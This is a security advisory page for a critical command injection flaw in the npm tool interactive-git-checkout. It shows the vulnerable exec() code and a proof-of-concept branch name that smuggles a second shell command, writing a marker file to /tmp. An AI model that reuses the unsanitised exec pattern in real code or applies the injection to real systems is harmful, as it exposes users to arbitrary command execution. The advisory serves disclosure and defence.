GHSA-4wcm-7hjf-6xw5

Suggest an improvement
Source
https://github.com/advisories/GHSA-4wcm-7hjf-6xw5
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-4wcm-7hjf-6xw5/GHSA-4wcm-7hjf-6xw5.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-4wcm-7hjf-6xw5
Aliases
Published
2025-09-10T21:37:00Z
Modified
2026-09-10T03:50:27Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
interactive-git-checkout has a Command Injection vulnerability
Details

The npm package interactive-git-checkout is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via npm install -g interactive-git-checkout.

Resources:

Command Injection Vulnerability

The interactive-git-checkout tool is vulnerable to a command injection vulnerability because it passes the branch name to the git checkout command using the Node.js child process module's exec() function without proper input validation or sanitization.

The following vulnerable code snippets demonstrates the issue:

const { exec: execCb } = require('child_process');
const { promisify } = require('util');

const exec = promisify(execCb);

module.exports = async (targetBranch) => {
    const { stdout, stderr } = await exec(`git checkout ${targetBranch}`);
    process.stderr.write(stderr);
    process.stdout.write(stdout);
};

Exploit Proof of Concept

  1. Install the interactive-git-checkout package (as suggested by the package's README):
npm install --global interactive-git-checkout
  1. Run the executable exposed by the installed package:
$ igc
  1. When prompted, enter the following branch name:
hello ; echo 'Command Injection Vulnerability Exploited!' > /tmp/command-injection.txt; #

Vulnerable versions

All versions of interactive-git-checkout are vulnerable to this issue, up to and including to the latest version of 1.1.4.

Author

Liran Tal

Database specific
{
    "cwe_ids":  [
        "CWE-77"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2025-09-10T21:37:00Z",
    "nvd_published_at":  "2025-09-09T23:15:37Z",
    "severity":  "CRITICAL"
}
References

Affected packages

npm / interactive-git-checkout

Package

Name
interactive-git-checkout
View open source insights on deps.dev
Purl
pkg:npm/interactive-git-checkout

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
1.1.4

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-4wcm-7hjf-6xw5/GHSA-4wcm-7hjf-6xw5.json"